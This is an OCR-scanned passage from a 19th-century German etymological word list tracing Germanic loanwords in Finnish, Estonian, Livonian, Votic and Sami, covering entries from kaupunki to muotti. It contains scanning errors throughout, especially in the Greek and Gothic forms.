ser stamm ist auch in die slaw. sprachen in der form
kup- (Miklosich in den Denkschr. d. Wien. Ak. XV, 103) auf-
genommen. Von russ. Kynei(i> kupeCy kaufmann, kommt
wieder weps. und wot. kuptsa. Neuere entlehnungen
sind liv. kuopman, kuopmies aus dem nd,, 1. kjef-
man(ne) (51. 71) aus dem nordischen. — F. kaupunki,
auch kaupunti, nw.-L gavpug, en.-l. kavpug,
sw.-l. kaupok, kaipok (nach dem finn.), urbs (50. 66.
71), = an. kaupangr, altsw. Mpunger, köpinger, im Guta-
lag kaupungr.
kaiito, auch kauta, kautu, Oberleder am schuh, parscalcei
superior plantam pedis tegens (meist in Verbindung mit
kenkä calceus, wie kengän kauto = kauto, Kaie-
vala32,4. 34, 4; Kanteletar*, s. 274 v. 8. 51; kauto-
kenkä, schuh mit Oberleder, Kai. 4, 176. 50, 16; die-
selbe bedeutung hat auch kauto und das dim. kauto-
nenim pl., Kai. 50, 110. 111) (50. 79. 106), = got.
skauda- in dem bestrittenen compositum skaudaraip^ if^dSf
das hierdurch eine passende erklärung zu bekommen
scheint. Vgl. skuoudo.
keihäs f., russ. -kar., (weps.?), hasta (49. 66. 74), vgl.
an. geirr nebst gr. yälaoQy lat. gaesum (vom kelt.), und
oben kaisila. Wegen der nebenform mit r siehe kaira,
kelkka f.; ehst. kelk, gen. -Igu, traha minor (52. 92),
=^ an. kjdlki, altsw. kialki, kicelki^ jetzt sw. kalke.
kello f.; weps. kell, gen. -on, wot. öellä, ehst. kell,
gen. -Ha, -llu, liv. k'ela, k'äla, campana, tintinna-
bulum (43. 60. 93), = an. skdla, ahd. scetlä^ tintinna-
bulum. *
keritsen, inf. -ita f.; weps. keritSen, -ita, liv. ke-
rlkS, forfice tondere e. c. lanam ovis v. capillos (43. 96),
= an. skera.
kernas, (kerne), promptus, propensus, adv. kernaasti,
libenter (52. 56. 75. 77), = got. -gavms^ an. gjarn, adv.
gjarna, sw. gerna,
keula, auch keulas, gen. -aan f., pars antica recurvata
e. c. navis, prora; prora et puppis, carina cum prora et
144 Wortverzeiclmiss.
puppi; ehst. dial. käilas^ Schiffsschnabel (51. 75), == an.
Tcjölly ahd. hiol, ags. ceöl, celox, carina. Ehst. und liv.
keT, klT, carina , sind neuere entlehnungen aus dem deut-
schen. Vgl. gjelas.
gicce nw.-L; sw.-l. kice. hsedus (44. 81. 86), = an. kid
n., gen. pL hiäja.
gierddo, girddo, gserddo nw.-l., cingulum ferreum vel
ligneum, quo vasa lignea constringuntur (52. 79), =* got.
gairda, ^w^^, an. gjörä.
kihla f., 1) sponsione mutua . confirmata societas plurium
pagorum, kihlakunta, territorium, harde (vgl. Lind-
ström, D. keli-germ. kult., 186 f.); 2) sponsalia, kih-
lat, pl., dona sponsalia; ehst. kihl, gen. -a, pfand,
wette (pl.) brautgeschenk, Verlobung; kihelkond, kihl-
k n d , kirchspiel ; liv. k 1 1 , pfand , geisel , pL diaL Ver-
lobung; weps. kehl, gen. -an, sponsio; nw.-l. gilhe,
sw.-l. kihl e , (nach dem finn.), donum sponsale (66. 69.
75), == an. gisl, ahd. gisal, ags. gtsd. Lett. k'üas pL,
pignus, wieder aus dem liv., wie das anlautende Je zeigt.
kirkko f.; russ.-kar. kirikkö, ehst. kirik, kerik, kirk,
gen. -u, -0, wot. ßerikko, nw.-l, gjirkko, en.-, sw.-L
kirko, ecclesia, templum (68. 93), = an. hyrkja, ahd.
chirihha, alts. kerikä, kirikä^ ags. cyrice, cyrce, altsw.
kirkia, kyrkia. Daher auch in den sl. sprachen, z. b. russ.
ij;epKOBb cerkov (Miklosich in den Denkschr. d. Wien. Ai.
XV, 81).
kirnu f.; ehst. kirn, gen. -u, nw.-l. girdne, sw.-L
ksBrno, vas in quo butyrum coagulatur (44. 93), = an.
und altsw. kirna, jetzt sw. kä/rna. Liv. kärna kommt
zunächst aus defn lett. kerne.
kirttilä, auch kirtti f., glandula (44), = altsw. kirtd,
kertü, jetzt körtd.
kiulu f., vasculum ligneum, mulctra (51. 93), = an.sA/oTa,
sw. (besonders in Finnland) skjula.
kiusa f.; ehst. kiuz, gen. -an, irritamentum, sollicitatio,
tentatio molesta, nw.-l. gifse, gikse, cruciatus (51;
vgl. 38); davon wieder f. kiusaan, inf. -sata, ehst.
kiuzama, liv. kivz, irritare, tentare, nw.-l. givse-
Wortrerzeicbniss. 145
det, aflfligere, vexare (97. 98), vgL got. kiusan, doxifid-
Csiv, an. Jcjösa. Davon auch altsl. ishusüij tentare, isJcusU,
tentatio (Miklosich in den Denkschr. d. Wien. At. XV, 103).
gjelas nw.-l. (Priis Sprogpr. 44), carina naviculae (52. 89),
= an. hjölr. VerBchieden von f. keula (s. dieses); doch
fuhrt Benvall ein f. k e 1 o in derselben bedeutung an , das
vielleicht hierher gehören könnte.
goallo, goalla nw.-l., lucerna (44. 65. 93), = an. und
nw. kola.
gordne, gorna, korna nw.-l.; sw.-l. kordne, frumen-
tum, = an. körn.
grauca, rakca sw.-l., puls (86), = an. grautr.
graves sw.-l., canus (66. 75), = an. ^rmr, ahd.gfr5, gräwer.
gujggo nw.-l., sw.-l. 'quoigo', vaccula (59. 62, 93), =
an. kviga,
kukko f.; ehst. kukk, gen. -ke, kikas, kukas, wot.
kukke, liv. kik, k'ikk,' gallus, vgl. B,n.kokr (Sv. Egils-
son), ags. coc (vgl. Eydqvist Sv. spr§kets lagar IV, 88,
anm.*) Doch ist diess vielleicht eher eine parallele laut-
nachahmung, als eine entlehnung; vgl. auch frz. cog (Diez,
Etym. Wb.2 11, 253), altsL kokoSt (und daher walach. und
alban. kokoS, ung. kakas), skr. kukkuta^s.
kulta f., wpt.; russ.-kar. kulda, weps.^ ehst. kuld, liv.
külda, küld, aurum (7. 44. 64. 77. 97), = got. gutp.
Dagegen nw.-l. g olle, en.-, sw.-l. k o 11 e unabhängig
hiervon = an. gull.
kumina f., carum carvi, cuminum (44), = sw. kummin.
Buss.-kar. kimina (Matth. 23, 23), = kirchensl. khmhhT)
kiminU. Ehst. kömel, liv. kümgös, kiemil = nd.
kömen. Dagegen hat das nw.-l. garven, sw.-l. kar-
ve n = nw. karvi n.
kuningas f., ehst.; russ.-kar. kuningaS, wot. kunlkas,
nw.-l. gonagas(sa), en.-l. konagas, sw.-l. kono-
gas, -ges, rex (44. 66. 74. 106), = an. konungr^ ahd.
chuning, alts. cumng, ags. qfning; -ing- ist gewiss ursprüng-
licher als das speciell nordische -ung-. Das wort ist auch
ins lit. kuningas, künigas, vornehmer herr, pfarrer, lett.
Thomsen, Einfluss d. germ. sprachen. 10
146 Wortverzeichniss.
ku'ngs^ herr, altsl. Äw^isr^, fürst, aufgenommen. Es konnte
den anscheiu haben, als ob das finn. wort durch das lit.
gegangen sei, doch spricht die bedeutung dagegen; eher
stammen beide aus derselben quelle. Das läpp, wort ist
gewiss wieder vom finn-. entlehnt. Liv. könig aus dem
deutschen,
kunta f.; russ.-kar. kunda, ehst. kond, kund, 1. godde,
kodde, (künde), complexus, coUectio (nur in composi-
tis, wie f. valta-k., 1. valdde-g., regnum, f. kihla-
k. s. oben, kansa-k., natio) (44. 75), = got. -Jcunds in
adj. Zusammensetzungen wie gmnakunds, aQorjv, qinaJc.,
d^rjlvg, inndk,, olyja/,6g (Matth. 10, 25. 36. Die sw.-l.
bibelübersetzung von 1811 hat hier gerade *käte-kunde'
von käte, domus); 2l\^. godcund^ divinus; an. ifcwwdr,
-hunnr (Sv. Egilsson). Budenz (Nyelvtud. közlem. TT,
s. 394, no. 87) betrachtet dagegen das wort als acht und
vergleicht wogul. kant, ung. h ad, familie, nation, heer,
krieg. Wenn. das auch richtig sein sollte, lässt sich doch
kaum wenigstens ein secundärer einfluss des germanischen
leugnen, der sich theils im vocal, theils in der aus-
schliesslichen beschränkung des wertes auf Zusammen-
setzungen zeigt.
guobme, nw.-l; sw.-l. kuobme, guobme, palatum (45.
56. 65. 75), = an. gomr.
guölbbe nw.-l.; sw.-l. 'quelpe, qwolpe', pavimentum
(44. 77), == an. golf.
guösse nw.-l.; en.-l. kuösse, sw.-l. ' qwosse', hospes,
conviva (53. 88), = got. gasts^ an. gestr.
guovva nw.-l.; sw.-l. kuova (-mano[d]), mensis febru-
arius^ = an. göi, id.
kupari f.; ehst. kubar-wask, sw.-l. kuoppar, aes, cu-
prum (44. 64. 70), = an. kopar, altsw. kopar, kupar, jetzt
koppar, nyl. kqpar. Liv. dial. kopr, kopper aus dem
nd. (Der echte und gewöhnlichere name ist f. vaski,
ehst., wot. vask, liv. va§k', 1. vaejkke).
gussa nw.-l.; sw.-l. koss, kosa, en.-l. küsa, vacca(90),
= an. kyr^ ags. cü.
Wortverzeiclmisß. 147
kustannan, inf. -ntaa, f.; nw.-l. goastadet, sw.-l. ko-
stetf kostadet, impendere, impensas facere (44), ^ an.
Teosta (von lat constare) mit einer weiteren ableitungs-
endung, die vielleicht von dem subsfc kostntzär, sw. kost-
nad, beeinflusst ist.
kynttilä f.; ehst. künal, gen. -ndla, -nla, candela,
veot. küntteli, id. (öünteli Wachslicht in der kirche),
liv. kündöl, kündlö, kündil, nw.-l. gintal, gin-
tel, sw.-, en.-l. kintel, id. (64. 71), == an. ÄJyweiiB (aus
lat. candda),
kyyti, gen. -din, f.; ehst. küt', liv. Sk'üt, vectura mer-
cenaria (32), = sw. shjuts, deutsch (bes. in Ehstland)
Schüsse, schiesse,
kyökki f.; wot. kökki, ehst. kok, gen. -gi, culina (54.
60), = sw. JcöJc, nd. JcöJce.
Ladas, gen. ladda, nw.-l.; en.-l. lodas, artus (44. 64.
89, vgl. s. 31 anm.l); nw.-l. latto, membrum (64. 89);
sw.-l. lattas, pl. -aseh, auchlece, artus, membrum
(89), = got. lipus, an. liär,
lad a e nw.-l.; en.-l. Isedde, pannus (50. 53. 64. 67. 81),
^ an. Mceäi n., ags. cläd m.
laddim, inf. laddit, nw.-L, appellere (97), = an. lenday
ahd. lentjan, Unten. — Vgl. ladde, bes. sw.-l., s. 107
und lannas.
lades nw.-l.; en.-l. ladis, clemens, mitis (75), = an.
glaär^ ags. gläd, splendidus, comis (?).
lafca, lakca, gen. lavca, nw.-l.; sw.-l. lakca, flos la-
ctis (50. 86. 87), ^ an. flautir pl.? Doch ist es auch
möglich, dass dieses wort gar nicht entlehnt, sondern mit
mordw. lofca, lovso, milch, finn. lypsätä, melken,
verwandt ist.
laina f., mutuum; f. lainaan, inf. -nata, ehst. lai-
nama, laenama, liv. lain, mutuum dare, sumere (50.
77. 97), = an. Idn n., ahd. lehan, got. *laihvan, vgl. lei-
hvan , prät. laihv, davelteiv. Die contraction ist gewiss vor
der aufnähme in das finn. eingetreten.
10*
148 Wortrerzeichniss.
lajddim, inf. lajddit, nw.-L; en.-l. laidded, sw.-I.
laidet, manu ducere (49. 97), = an. leiäa, ags. Icedan,
alts. ledicm, urspr. Haidjan.
lajrre nw.-l.; sw.-l. laire, argilla (49. 77), = an. leim.,
leirr m.
laita f., Gursus itineris, directio vise; agendi modus; latos
navis; ehst. laed, gen. laja, eine reihe bekleidungsbret-
ter (am schiffe); nw.-l. lajddo, sw.-l. Iaido, iter (49.
79), = an. leid fem., ags. lad.
lakana f., wot., lodix (71), = sw. lakan (aus dem deut-
schen).
laki, gen. la'in, f.; nw.-L läkka, gen. läga, sw.-l. lag a,
en.-L läha, lex (62. 70. 101), = sw. lag, an. log pl. n.
lakke, gen. läge, nw.-l.; sw.-l. lake, ratio, mos, con-
ditio, = an. lag n.
lakke, gen. lakke, nw.-L, catena (66. 81), = an. AZdfcfcr,
nw. lehk. Hier kann es zweifelhaft sein, ob a ursprung-
lich oder aus e entstanden ist (vgl. s. 54).
lammas, gen. lampa(h)an f.; ehst., wot. lammas, weps.
lambas, liv. lämbas, lamm, ovis; nw.-L labes, lab-
bes, gen. labba, en.-L labis, sw.-L libbe, labbas,
agnus (62. 66. 78. 106), == got. lamb n., Ttqoßcnov, ahd.
lanib, pL lembi/r, ags. lanib, pl. lambru, an. und altsw.
lamb, agnus (aber Gutalag c. 42 ovis).
lannas, gen. lanta(h)an, f., litus vadosum, vadum (78),
= got., an. üawd? Hiervon auch sw*-L land, landa,
regio. VgL laddim.
lanta f, stercus, fimus (77), == an. hland n., urina.
lantio f., lumbus, pelvis hominum; lanne", gew. pL lan-
te(h)et, weps. landeh, coxa, lumbus (53. 82. 91), =
an. Und, pL -ar, seit, -ir (vgL z. b. Norsk homiliebog ved
Unger, 121 '• ^ ^*), stamm landjä~\ 23iA.Jewt%, alts. Zcwrfi";
ags. lenden. — Verwandt hiermit ist f. luntio, coxa,
vgl. an. lund'ir pl. fem., ags. lundlagan, renes, (gelin-
den, spondyli, juncturse vertebrarum), nw. lund = lend.
läse SW.-L, sera, = an. Idss m.; — laset, obserare, ==
an, Icesa.
Wortverzeichniss. 149
lät(a), pl. lätak, nw.-l., gestus, = an. lati; — lattim,
inf. lattit, simulare, prse se ferre, agere, = an. lata.
lato f.; ehst. ladu, lado, nw.-, aw. -1. lado, horreum
(43. 93), =» an. hlaäa. Auffallend ist mokSa - mordwin.
lata, ersa-m. lato, id. Ung. läda, cista, vom deut-
schen lade.
lattia (auch laattia) f., bes. karelisch; gem.-l. latte,
pavimentum in domibus (59. 67. 80. 81), = an. fld, *fiiss-
boden in den häusem der alten, der (wie noch jetzt der
estrich bei den Fingammer) mit stroh, binsen u. desgl.
bedeckt wurde.' (Fritzner), ags. flet, alts. fletti, flet, ahd.
flazzi, flezzi, urgerm. stamm flatja-.
lauföa nw.-l. (Leem); sw.-l. lauöa^ slauöa, auch
kla5Se, aestrus, = an. Meggi, gen. ^-ggja, nw. Jdegg.
lavggo nw.-l.; sw.-l. laugo, lavatio, balneum; f. *lauka,
♦lauko als gen. in lauvan-tai, lauvon-tai, ehst.
lau-pääv (pääv, dies), wot. lauko-päivä; nw.-l.
lavardak, sw.-l. lavotak, dies Saturni (50. 79); wot.
laukoja, qui lavat; nw.-l. lavggot, sw.-l. lauget,
lavare (98) , = an. laug fem. , lavacrum , ahd. lat^a, louga,
nhd. lauge; an. laugardagr; lauga, lavare.
laukka f.; ehst. lauk, gen. laugi, -gu, -ga, liv. löka,
nw.-l. lavkke, sw.-l. lauk, en.-Llauhi, caepe, allium,
porrum (50. 61. 75), = an. lauhr, ags. Udc, ahd. lauk
(von der wurzel luJc^ claudere). Im finn. auch lyökki
von sw. lök (51. 55). Das wort ist auch in altsl. luM,
russ. Ayicb luJc, lit. lukai pl., lett. loM pl., aufgenom-
men (vgl. Lettner in der Zeitschr. f. vgl. sprf. XI, 174.
Miklosioh in den Denkschr. d. Wien. Ak. XV, 107); davon
wieder weps. lük, gen. -un, wot. lükka, liv. nebenform
iQka, lüoka (m Livland immer luokad im pl. wie im
lett.), vielleicht auch ehst. lök, gen. -gi, -gu, wenn
diess nicht vielmehr == nd. lök ist
laupias f., misericors, Clemens (besonders von gott) scheint
in Verbindung zu stehen mit der germ. wurzel luh in an.
Ij^fi^y got. Hubs, ayaTVTjTog, aber mit demselben ablaut wie
in got gaiaubs j TtoXvceXijg, galaubjan, Ttiereveiv^ t/^skmb^
I
>
150 Woitverzeichnisa.
jan^ €7tiTQ€7reiVj Zunächst könnte es einem got. ^laubeigs
zu entsprechen scheinen, vgl. ahd. güoulng, nhd. gläubig.
lautta f.; weps. laut, ponto, ratis (75), =* ahd. flao0j
ftöfsm.^ fluxus, ratis, nhd. floss^ got. *flauts (dagegen
nicht mit f. lauta, brett, verwandt.
leikari f., ludio, joculator (49. 64. 94), = an. leikari^
altsw. lekari. Vgl. leikki, ludus (39. 70. 96).
leipä, gen. leivän, f., wot.; russ.-kar. leibä, olon.
leipy, weps. leib, gen. leiba, ehst. leib, liv. leba,
leib, nw.-l. lajbbe, sw.-l. laipe, en.-l. laeibe, panis
(49. 62. 63. 75), = got. hlaifs (stamm hlaiba-), an. hleifr.
Weniger wahrscheinlich ist es, dass diess aus dem sl.
cMSbÜ stamme, das selbst aus dem germanischen aufge-
* nonmien ist (Lottner in der Ztschr. f. vgl. sprf. XI , 173 ;
Miklosich in den D. W. Ak. XV, 92). Ehst. klaip, gen.
klaiba, auch klaibakas, grosses stück (brot), iat eine
hiervon unabhängige entlehnung aus dem lett. Mdips,
laib (brot) , lit. M'epas , ein brot , bes. von länglicher form.
— Leipopalskaja, einen städtenamen im gouvern.
Archangelsk bei Pinega hält Castren für hierhergehörig
und meint, er stamme von den Bjarmar. (Suomi 1844, 12
= Nord. Reisen und Forschungen V, 96).
lifse, likse, gen. livse, nw.-L; sw.-l.likse, unguentum
ex pinguedine piscium decoctum (53. 81), = an. lysi, nw.
lyse; — nw.-l. auch candela (51. 77), = an. Ijös, nw. Ijos.
liina f., linum, textum linteum; in Savolaks cannabis;
weps. lln, gen. -an, cannabis; wot., liv. Iina (liv. bes.
im pL), linuBfl, ehst. lina, id., linteum; nw.-l. lldne,
gen. llne, en.-, sw.-l. line (linum), linteum (77), =
an. Un n., got. tein\ atvddv. Vielleicht sind jedoch bloss
diejenigen formen, die langes i haben, germanischen
Ursprungs, und die übrigen aus dem lit. linai, lett. Uni pl.
(vgl. altsl. UnUy russ. aoh^ Ijon) abzuleiten.
likom, inf. llkot, nw.-, sw.-L; en.-l. likkud, probare
(lind. u. Öhrl. *placere') (44. 61. 98), == an. lika, pla-
cere, nw. Uka, probare.
Iines nw.-, sw.-L, mollis, lenis (75), .== an. linr.
Wortverzeichniss. 151
liäSa gem.-!., falx (65), = an. Ve, Ijdr (vgl. Rydqvist II,
197)?
livtes nw. -1.; sw.-l. slikt, planus, levis (65. 75), = got.
slaihts, djx-slettr; — liftit, liktit nw.-l., sw.-l. slik-
tet, levigare, = an. sletta, ahd. slihtan, got. *slaihtjan.
— Ehst. liht, gen. lihi, = nhd. schlicht.
loftim, loktim, inf. -tit, nw.-l.; sw.-L laptet, ele-
vare, attoUere (97), = an. lypta. Sw.-l. a ist = urspr.
y; dagegen ist es zweifelhaft, wie das nw.-l. o aufzu-
fassen ist; vgl. s. 53 ff. und luhti unten.
lokke gem.-l., operculum, == an. lok n.
lud n e nw.-l., cylindrus ligneus naviculae subducendae v.
dedueendae subjectus; vectis (45. 65. 75), = an. Munnr,
nw. lunn,
luhti f., pars aedium superiör, nw.-l. lofte, lokte,
lokta, sw.-l. lopt, id., (nw.-l. loftasi, sursum,
sublime) (63. 64. 70), = an. lopt, altsw. lopt, lupt, jetzt
sw. und nw. loft. Hiervon gewiss sw.-l. lopteset, in
altum attolli; vielleicht auch nw.-l. loftit, s. oben.
lukitsen, lukin, inf. lukita, lukkia f., obserare (7.
53. 96), = an. lykja, altsw. lykkiä. Vgl. lukko.
lukkara, lukkaro f., runcina minor levigans, Schlicht-
hobel (44), = an. lokarr. Hierzu gehört gewiss auch
nw.-l. rokkjel, sw.-l. rokker, runcina.
lukkari f.; 1. (k)luokkar, cantor templi, sedituus (44.59),
= klokker, sw. klockare (vgl. altsw. Mokka, Uiikkä),
lukko, lukku f.; wot. lukku, ehst. lukk, gen. -ku,
sera (44. 93), = an. loka, altsw. luka, loka, obex. Weps.
lukol, gen. -klon, hat wol eine besondere ableitungendung
empfangen (oder ist es == an. lykill^ clavis?). — Auch
nw.-l. lok, pl. lokka k (Leem), sera (wovon wieder lok-
ka det, obserare) gehört wol hieher.
lunastan, inf. -staa, f.; ehst. lunastama, nw.-l. lone-
stet, sw.-l. 'lädnestet', redimere; scheint von einem
subst. *lunas abgeleitet zu sein, das nicht vorkommt,
dagegen f. lunnas, sw.-l. 'lännes, lädnes, lädnas',
pretium redemptiouis (78. 106), ehst. luna, Zahlung,
152 WortverzeidmisB.
entgelt; nw.-l. lonom, inf. lodnot, en.-l. lonnod,
redimere (sw.-l. lodnot^ commutare, lodnotet, nw.-l.
lonotet, eiL-1. lonoded, id.), vgl. got. lun^ Xvtqov
(wie man Marc. 10^ 45 lesen muss), uduneins (Skeir.I, a).
— Auch nw.-l. lonnit, mutuum sumere (Stockfleth),
Ion et, mutuum dare (Bibbalhist 1866, 193), sw.-l.
lonet, 6n.-l. loydnid, mutuum sumere v. dare, gem.-l.
lonas, mutuo, darlehensweise, scheint wegen des o eher
hierher zu gehören, als zu dän. läne. Auch ehst. dial.
lunima, borgen. — Unannehmbar scheint mir Budenz'
vergleichung des f. lunastaa u. s. w. mit syrj. don,
ung. dij, preis (Nyelvtud. közlem. VII, s. 47 no. 257).
luode^ f.; ehst löe, gen. löde, hochwasser, fluth, daher
nordwest, liv. lüod, nordwest, weps. lödeh, gen. -dhen,
Westen, westwind (85), = got. flödus, Ttmanog^ an.
flM n., fl(Bär fem., ags. flöd m., ahd. flöt, fluot fem.
(stamm -i-) und m. (vgl. Eydqvist H, 73).
lupa f., wot.; ehst. luba, gem.-L loppe, venia (44. 62.
77); davon f., wot. lupaan, inf. luvata, ehst. lubama,
nw.-l. loppedet, lobedet, sw.-l. loppetet, en.-l.
loppeded, promittere, permittere (97, 98), = an. lof n.,
ahd. löb% got. lubains, lljvlg; vgl. an. lof a (-ada), ahd.
lobSn, löbön.
luuva, (luva) f., tribularium (45), = sw. hge, dlteiloghe
(Bydqvist H, 319).
lyijy» lyjy U nw.-l. lagjo, en.-l. lajo, sw.-l. blijo,
plumbum, = an. U^ n., sw. Uy. Vgl. tina.
lykky f., wot.; nw.-l. likko, sw.-l. likko, lykko, en.-l.
lukko, fortuna, prosperitas (54. 61. 93), = sw. lycka,
altsw. lyJcka^ luJt^, an. luJcka.
löysä, löyhä f., solutus, laxus, s. 51.^ 66. 71. Sw.-l.
lause, id. Auch 1. luoyos, id., scheint mit unregel-
mässigem Übergang hierher zu gehören.
Maanantai f.; ehst. dial. män-päew, dies lunse (43. 92),
s= altsw. mcmaddgher, von mani, an. rndni, luna. Vgl
manne.
Wortverzeichniss.. 15S
madde, gen. maSe, nw.^l.^ statio piscatonun in mari (44.
77), == an. miä n.
maha f., venter, abdomen; wot. mako, elist. magu, mago,
liv. mag, pl. -üd, venter; f. mako, venter, stomachus,
coagulum (65. 92), ^ an. magi^ ags. maga.
mabti f.; ehst. mabt, gen. mahi, potentia, potestas, ars
(magica), venia (63. 84), = got. mäfds (st. mahti-) oder
sw. magt. Ebenso scheint f. mahdan, inf. mahtaa,
1. mattet, potentem, validum esse, nebst mehreren ab-
leitnngen mit got. magan, prät. maJda in Verbindung zu
stehen. Merkwürdig ist jedoch das lautlich hierzu stim-
mende mordw. ihaStan, gerem. moätem, scire, callere,
valere,. ostjak. most, modzi, moSi, es ist möglich,
nöthig. Vielleicht hat auch slawischer einfluss sich gel-
tend gemacht (altsl. mogq, moSti). Nur diese zwei sprach-
klassen kennen die w. mag in der bedeut. 'posse'. (Vgl.
Schleicher, D. kirchenslaw. Sprache, 141).
majdne, nw.-L; sw.-l. maine, Vitium, culpa (49. 77),=
an. mein n., ags. m^n.
mainitsen, mainin, inf. -nita, -nia, f.; en.-l. mai-
naäed, commemorare, celebrare, ehst maenitsema,
mainitsema, ermahnen, zureden, erwähnen, erinnern,
maenima, erwähnen (49.96), (davon f. maine', rumor,
fama, gem.-L mainas, fabula; f. mainio = maine',
auch opus famosum; illustris; hiervon wieder sw.-l.
maino, laus; nw.-L majdnot, sw.-l. mainot, lau-
dare), = ags. m^cenan, commemorare, engl, msan, alts.
mmian, msnean, ahd. meinjan, meinan, dicere, signifi-
care, cogitare; an. msina^ putare. Eine jüngere entleh-
nung hiervon ist f. meinata, id. (49. 97).
mäkka nw.-l.; sw.-l. mak, afflnis (43. 71), = an. mdgr.
mal e s nw.-, en.-l., cena, sw.-l. coctio, quantum una vice
coqui solet, sw.-l. mallas, epulum (43. 78), = an. wo?,
mahlzeit.
malit nw.-L; sw.-L malet, meiere, = an. mala.
mallas, gen. -Itaan, f., hordeum maceratum et tostum
(64. 78), SW.-L malte = an. m<üt, ags. mealt n.
manna f. (selten), juvenis pubes, = an. maär, got. manna?
164 Wortverzeichniss.
männo^ gen. mäno^ nw.-l.; s'v^-l. mano, en.-l. manu,
luna^ auch mensis; sw.-l. m an o tag, dies lunae (43. 92),
= an. mdni. Vgl, maanantai
mannod nw.-l. (Leem); sw.-l. manot, en.-l. mannud,
mensis, ^ an. mdnaär, mdnud/r,
marfe, nw.-, sw.-l., farcimen (Lind. u. Öhrl. auch anus,
intestinum rectum) (55. 68. 75), = an. mörr (st. marva-),
adeps, nw. mor, ' fleisch wurst, gedörrte wurste; auch
theile der eingeweide , die zu fleischwurst gebraucht wer-
den' (Aasen). Wahrscheinlich gehört hierher auch f. mar u
adeps (Kalev. 17, 510 im pL). Dagegen ist f. meru,
pl. merut, 'die unschmelzbaren theile des talgs' (Euren)
möglicherweise eher = an. smjör, ags. smerti, ahd. smero.
mar ha in, pl. -ha(i)met, 'töjler til ridebidsel' (selten, wird,
soviel mir bekannt ist, in Ingermanland gebraucht), mar-
haminta, capistrum (Kalev. 14, 281. 39, 259; eine wei-
tere ableitung des vorigen und keine Zusammensetzung;
vgl. die Zeitschrift Suomi 1859, 171, lo)^ ^^^ ^^^ unge-
bräuchl. mar ha- (65) = an. marvy ahd. marah, marh,
equus. Das wort ist auch in verschiedene slaw. sprachen
aufgenommen , z. b. neuslowenisch mrha , kleinruss. marha,
pecus (Miklosich, D. W. Ak. XV, 112), und von da wahr-
scheinlich wieder in das ung,, marha, id., das also nicht
unmittelbar mit dem finn. wort zusammengestellt werden
kann.
markka f., wot, numi species minor, ehst. mark, gen.
m arg a , pfund, abgemessenes stück, münze, liv. mark a,
mark, 3kopeken; sw.-l. marke, russ.-l. marka (79.
91), = an. mörk, sw. mark (Rydqvist II, 59), vgl. mlat.
marca, got. marha, oqiov. Auch lett. marka 'mark,
d. h. 2 ferdinge',*mami^'scÄ, pfund.
markkina, gew. pl. -nat (durch ein missverständniss der
endung), f.; nw.-l.markkan, markken, en.-l. mark-
kan, sw.-l. martna, nundinae (69), = an. markaär,
markvhaSr, sw. marknad^ westerbott. dial. martnä.
mässam, inf. mässet nw.-, sw.-l., amittere (44. 65. 98),
= an. missa.
Wortverzeichniss. 155
mato f., wot; rass.-kar., weps. mado, ehst. madu,
nw.-l. matto, sw.-l. mato, matho, en.-l. mät.u, ver-
mis, selten serpens (64. 92), =- got. mapa, OKcolrj^, ags.
maäa., ahd. mado, an. maäkr. Doch ist es nicht ganz
sicher , auf welcher seite das wort ursprünglich zu hause
ist; das finn. scheint beinahe mehr anknüpfungspunkte zu
haben, als das germ. (vgl. Diefenbach, Vgl. Wb. d. goth.
Spr. II, 5 f ). Indessen kann f. mataa, matia, matoa,
madella, repere, ebensogut aus mato abgeleitet sein,
als umgekehrt, vgl. z. b. karmeilla, serpere, aus k arme',
serpens, = lit. Mrmis. Eine fernere Verwandtschaft mit
matala, humilis, und noch mehr mit maa, terra, ist
sehr zweifelhaft. Wichtiger ist ung. mäsz, kriechen,
womit Budenz mato u. s. w. vergleicht (Nyelvtud. közlem.
Vn , s. 1 , nr. 608) ; doch darf nicht übersehen werden,
dass ung. sz schwerlich einem f. t entsprechen kann , son-
dern jedesfalls eine ableitungsendung sein muss. ' Wogul.
bei Berezov matar', vermis, das (von Pallas) in Lingu.
tot. orb. vocabularia compar. II, s. 45, no. 145, 69, ange-
führt wird, scheint nicht vorzukommen und wird auch
z. b. von Hunfalvy (Nyelvt. közl. IV, 217) verdächtigt.
mera, märä f.; ehst. mära, equa (54. 71), == an. merr,
sw. märr; grundform marhjä", vgl. mar hain.
meri, gen. -ren f.; wot., ehst. meri, liv. mer, gem.-l.
maerra, meer, scheint germanisch zu sein, = got. mar ei,
an, m^rr, ahd. m^ri, obgleich die form nicht ganz damit
übereinstimmt. Vgl. indessen auch slaw. m,ore, meer, lit.
m^res pL, bes. das kurische haff.
merkki f., wot; ehst. mark, gen. -rgi, liv. merk, merk',
nw.-l. mserkka, sw.-l. m8erk(a), Signum (54. 81), =
an. merM, altsw. mcsrJci. — Davon f. merkitä (96),
ehst. märkima, nw.-l. maerkaSet (98), en.-l. mser-
haSed, sw.-l. maerket, signare, significare.
miekka f.; ehst. mök, wot. moekka, liv. mok, mük,
gem.-l. miekke (nach dem f.), gladius (43. 81. 106),==
got. msheis (nur acc. meM, Eph. 6, 17, unzweifelhaft ra.),
an. mceJcir, alts. moki, ags. mece m., got. in der Krim
156 Wortverzeichniss.
(nach Busbeck) mycha\ vgl. auch altsl. meci^ mWt, das
nach Mklosich (D. W. Ak. XV, 112) entlehnt ist
mielkke nw.-, en.-l.; sw.-l. melke, milke, lac (52.
^1)» — got. miluhs fem., an. mjoUcy nw. mjölk, mjolk^
fnjdk,
mitta f.; ehst. mot, gen. -du, nw.-, en.-l. mitto, men-
sura (44. 77); davon f. mittaan^ inf. mitata, ehst.
motma, nw.-l. mittedet, metiri (97), = an. met n.,
ahd. imz\ an. meto, goi mUan, inevgelv.
moni, gen. monen, f.; wot. moni, mancher, ehst. moni,
monikas, monikane, moningane, mancher, einige,
moningadpL, manche, f. monias, moniahta, (westf.)
monikahta, in Ingermanland moningas, monin-
gahta, ii'gend einer, mehrere, liv. münda, mönda
(eigentl. cas. infin.), mancher, vielerlei, einige, nw.-l.
m ad de indecl., mancher (aus dem f. infin. monta ent-
lehnt), = got. manags, ags. monig^ an. margr, oder alt-
slaw. wänogU, russ. mhoiIh mnogij?
m ukko SW.-L; nw.-L mokke (? Stockfleth) , stercus (53.
67. 82), == an. mykr fem., (urspr. st. muJyä-).
multa f., wot.; ehst. muld, liv. mülda, nw.-L muol-
dda, SW.-L muld e (nach dem f.), humus, pulvis terrae
(7. 44. 79), = got. mtdda, an. mold^ altsw. mold^ muld.
muotti f., forma, in qua metalla funduntur, = an. möt,
sw. mot (Eietz 446). Zweifelhaft ist dagegen das verhält-
niss zu f. muoto, ehst. möd', gen. möe; möd, g. möu,
